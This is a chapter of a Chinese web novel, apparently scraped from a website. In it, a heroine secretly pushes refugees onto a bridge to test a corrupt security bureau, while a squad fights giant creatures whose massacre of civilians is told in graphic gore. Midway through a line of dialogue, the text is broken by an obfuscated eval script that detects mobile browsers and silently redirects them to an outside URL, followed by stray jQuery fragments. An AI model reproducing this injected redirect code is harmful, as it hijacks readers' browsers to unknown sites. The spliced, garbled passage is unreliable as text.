几人收拾残局,重新整顿。
弥嫣和曲楠说了几句话,还是询问自己的母亲。
曲楠茫然又疑惑只说弥嫣走后不久舒兰就离开了。
以为是弥嫣的身份连带着家人也可以跟着进入主城区。
弥嫣沉默。
程轩叉腰看着远处只剩几坨胶质残骸的圭,啧了一声:“这玩意死后还能爆炸?伤敌一千自损一万,死了都不给自己留全尸,够神勇的。”
修珩无声走到众人中间,拉回大家的注意力:“圭的行进路线很可能是民众集中区域。这片地图不在轩轩脑内,只能步行。趁现在没下雨,分组行动。”
他目光扫过众人,直接分配:“轩轩、张和言、韩允、周延鑫,你们一组。弥嫣、周密,跟我走。”
张和言抿唇看了弥嫣一眼,未置一词。
几人按命令行进,离开前曲楠拉住弥嫣,压低声音告诉她所有民众都被她赶到桥上去了,问她这事该怎么处理。
弥嫣眼睛一转,夸曲楠做得漂亮,又说还好现在没下雨。
没下雨,民众就少受一层罪。
曲楠不解其意,她本意只是想给大伙寻条生路。
所以疑问开口:“不用告诉他们吗?”
她指了指修珩。
弥嫣不答,只是拍了拍她肩膀小声说:“尽快找地方躲起来,这事我来处理。”
——
对安全局和主城区而言,桥上出现大量难民是无法被忽视的事件。
不会有人敢当着主城区民众的面把上扬区的难民赶回去或开枪。
对上扬区民众来说,这是一个短暂的机会窗口。
安全局会为了维护形象,被迫放人进主城区,或至少提供更直接的援助,而不是让刘强这种人继续克扣物资。
弥嫣垂眸看着脚下快速后移的路面,活动着酸胀的手指。
进局不过几天,任务密集,机会不多。
但安全局的秘密不少,像黄凯这样的人还有多少,她不知道。
没想到这个机会会这样到来。
抱歉了各位。
只能用这种方式试探一下。
试探一下安全局内部的糜烂程度。
用民意、用人道主义危机绑架安全局,这种验证方式无疑最好。
她抿了下唇,不愿去想可能的风险。
......确有可能安全局不惜武力驱散。
确有可能刘强的人趁乱在桥上动手。
也有可能圭跟着追到桥上去......
届时难民以为通往生路的日桥便会成为人间炼狱。
...
弥嫣眨了眨眼,抬眼看向前方两步远那道高大身影。
修珩的短发被风削得凌厉,步子没有一丝犹疑。
这些有能力的人对任何人来说都是一把双刃剑。
他们现在已经对安全局起了疑心。
但,..如果真要血染尸海才能换来他们几人的彻底反抗呢?
弥嫣心里忽然有了纠结。
哪怕这种概率微乎其微。
她暗自分析。
如果局内高层还算干净,只是中间链条被染黑,事件发酵后安全局必会雷厉风行彻查严办。
哪怕揪不出黄凯,至少也能处理掉刘强。
毒瘤一块一块挖,只要前进一小步,上扬区民众的处境就能改善。
这也是她进安全局最初的目的。
但如果是最糟的结果。
如果高层内部系统已烂......
不,他们也断然不敢轻举妄动。
日桥难民事件一旦发酵,上城区民众不会坐视不理。
上城区的民众是安全局统治的基石。
一旦了解到自己信仰的“守护和平”与之相悖,信念崩塌,整个统治的合法性就会动摇。
而安全局内部人员看到,也会怀疑、甚至哗变。
这是局里无法承受的代价。
但最无法控制的还是特别行动小队这几人。
他们能力最强,若知道局内掺了沙子,可能直接反水。
所以如果腐烂真的蔓延至高层,他们一定会设法控制、掩盖、分化。
无论是哪一种,直接屠杀所有难民都对背后之人没有任何好处。
弥嫣再次抬眼,眼底闪着坚毅。
事态究竟如何,就等看局里的反应了。
还有一件事。
她母亲去哪了?
*
与此同时,上扬区中心,居民区。
随着圭群踏入瞬间,属于所有人的哭喊声都被更庞大的声响碾过。
那是墙体大范围塌陷的闷响和地面被重压过的低沉震颤。
几只巨大的圭并排行进,宽大的脚掌带一片阴影遮住前方的房屋,下一秒,立体的结构立刻变成平面的一滩灰烬。
坚硬的建筑如此,人亦是。
一个男人抱着孩子从家里的门框里冲出来,头顶阴影落下。
——门框、男人、孩子,连同门框后面那间摆着饭桌的屋子,一齐轰然从街道的表面上消失。
地面只留下一道嵌进泥土的深色印记,边缘渗出一圈暗红色的泥浆,洇进碎石缝隙里。
那圭接着抬起脚掌,浑然不觉脚底带起一层混合料血肉和布屑的粘稠物质,将前方又一片建筑物和来不及躲闪的人类踩实,轧进地里。
躲开脚掌的吨重,也躲不开那些触手缠上身体的迅速。
被提离地面的民众一次不止一个,串了串一样的几十个一起或是被从高空摔碎到地上;或是被圈进圭粗壮的臂弯里挤爆。
霎时间脑浆血液迸射流窜。
有孩子趴在母亲身上嚎哭,声音尖锐穿过坍塌的闷响和脚步声。
头顶的阴影毫不犹疑地压下,一息间便裹住所有声音。
那孩子便和他母亲一样被一起碾进泥土里。
类似场景数不胜数。
天上的阴影不会为任何弱小留手。
若是有意识,这群施暴者或许还会为自己对于一家人整齐的成全感到荣耀。
这是一场双方实力极其悬殊的战争。
那些几层楼高的透明身躯在居民区中缓慢移动,带着千钧重的脚掌,实施单方面惨绝人寰的屠杀。
*
樊羽带队赶到时,眼前就是这副人间炼狱的景象。
看着那些密麻成群的异类,她脑子里那根弦绷到极致。
局里的情报说是二三十只。
眼前这数量,翻了一倍不止。
身后有队员骂出声:“畜生!”
那声音是破了音的,从喉咙里撕出来。
那人攥着枪要往前冲,被旁边一个瘦高白皙的男人一把拽住。
那男人眼神乱飘,不敢看前方,嘴唇发抖,话都说不利索:“你……你得听命令……”
前方的樊羽眼眶猩红,目光森冷的看着这一幕。
恶寒从脚底灌入爬进颅顶。
那些活生生的生命在眼前被碾碎,一个接一个,快得数不清。
她的手指攥紧枪身,指节发白。
“民安队三领队——全体听令!”
“救人!!!”
*
火力全开。
第一轮齐射集中打向最前面几只圭的眼睛。
依照这么一个时间差要了前方几只圭的命。
但紧接着子弹便失了准头。
那些圭反应过来后皆用手指触手编织成一张网挡住自己的面。
子弹无法穿过他们的肢体。
但不要紧。
它们一次只能做一件事。
比如触手收回保护眼睛,就无法兼顾那些缠裹的无辜民众。
原本被缠在空中的人往下掉。
樊羽手底下的人冲过去营救。
几米高的地方落下的冲击力不小,队员们的手臂和肩膀都被砸的闷响。
踉跄着稳住身体。
但也好过民众直接摔在碎砖水泥地上。
如此反复。
火力压过去,民众被接下来。
从死神手里开始一条条抢命。
这群圭也比先前遇到的所有圭都要有脑子。
他们迅速反应过来,不再逐一应付那些骚扰性的火力。
后面的圭群涌上来,像是给了前面这些圭什么指令。
它们触手张开旋转,织成一面面透明盾牌挡在前方,挡住那些要直取他们命门的子弹。
同时。
它们的目标转向了前方那一小群身穿黄黑色制服的人。
最前方一只圭抬起另一条手臂,触手直直朝着一个矮墙后的火力点插了进去。
那边三个队员正在换弹,来不及躲。
同时被触手从腰部贯穿,钉在后面的墙上。
“散开!”
“散开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17870499|209827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
!散开!”
樊羽大喊,但已经来不及。
更多的圭压过来,火力压制失效,阵型被冲散。
她的队员一个接着一个惨死在自己眼前。
刚刚最先骂畜生的那个男人此刻正被一只圭的出手缠住脚踝倒提起来,他反手一刀切断那些触手,同时抓住一个切口,从两米多高落下,又一刀毫不留情斩断自己拉着的触手。
还来不及起身,头顶的阴影笼罩。
樊羽看着几米远处那只巨大的脚掌落在他头顶,怔愣大喊:“白正!”
——轰!
樊羽瞪圆了眼,心脏停了下。
可下一秒。
就见白正从那脚掌的缝隙里闪出身,灰头土脸地咧着嘴笑:“樊领队不用担心,我——”
樊羽刚要卸下防备的瞬间,一只粗壮的手臂对着白正砸下来。
肉块和血液迸射的瞬间,樊羽感觉脸上溅到了温热的东西。
她怔了两秒。
身后的队员大喊一声“小心”,将她整个人抱住滚到一边,躲过另一只脚掌的踩踏。
两人起身,那人举枪射击。
樊羽的脑袋还嗡鸣着,缓神两秒也端起了枪,没有任何犹豫地扣下扳机。
...
战斗被拖成了一场消耗。
十多个人配合集火才能勉强放倒一只圭。
需要有人引开注意力,有人缠住触手,有人在侧面找角度打眼眶。
每击杀一只,代价都是更多的弹药和更多的人命。
弹药越来越少,体力越来越差,队员的反应在长时间的紧绷之后开始钝化,一个个倒在脚掌或触手之下。
圭群的数量太多。
樊羽的队伍一边游击一边后撤,但圭前进的速度不比他们慢。
又一群来不及撤离的老人和小孩堵在前方巷口,他们不得不再次停下来救人。
拉扯的时间再次被延长,倒下的人越来越多。
从黄昏打到天彻底黑下来,从三百人打到不足一百人。
樊羽的制服上全是灰尘和血迹,脸上混着泥和汗,头发从帽檐下散出来黏在额角。
所有人都灰头土脸,无望的看着头顶不见一丝亮光的天。
诡异的是,暴雨居然迟迟未落。
樊羽整理心情下令分组撤离。
她带十几人组成掩护小队,其余人必须带民众走。
没人动。
樊羽冷着眉喊:“这是命令!”
队伍里,一个灰头土脸但弹药极其充足的人长久地呆愣在原地。
他叫谭勒,就是一开始到达上扬区时拉住白正的那个瘦高男人。
白正死在他面前的样子还卡在脑子里,每一帧都清晰得过分。
刚才作为掩护小队,他本可以配合队友多争取几秒,多活下来几个人。
但他不敢。
他连手指都抬不起来,能做的只有逃跑。
战争急险,没人注意到他。
“谭勒?谭勒?”
樊羽喊了他好几遍。
谭勒猛地回神,眼神还是散的。
樊羽盯着他,眉头冷着,但终究叹了口气。
这个人是主城区附中全优进来的,跳级,现在可能还不满十八岁。
“不要太沉溺于情绪。”
樊羽觉得他是一时间接受不了队员的牺牲,语气里却有一丝克制过的疲意:“我们现在的任务是减少人员伤亡,解救更多民众。”
谭勒忙不迭点头。
樊羽又说:“我们要掩护其他人撤离。”
他又点头,一连点了好几下:“……好……好。”
樊羽转过身,对着那些即将带民众撤离的队员说:“你们不要以为自己是用队友的命在活着。”
“收起这一套愧疚。”
“你们的任务才更艰巨!不仅要更快更多地救助民众,把他们安置到安全地方,还要确保自身安全。你们多做一件,快做一件,民众就能多一条生路,我们后方掩护的压力也会少一些!”
所有人的脸上都坚定异常。
眼底生出视死如归的决心。
樊羽从腰间拔出求救信号枪,朝天连扣三发。
三道红色信号弹同时腾空,在黑色云层下划出刺目的弧线。
这是一级危险信号,向安全局总部发布救援的信号。
樊羽把枪收回腰间,沉声:“行动。”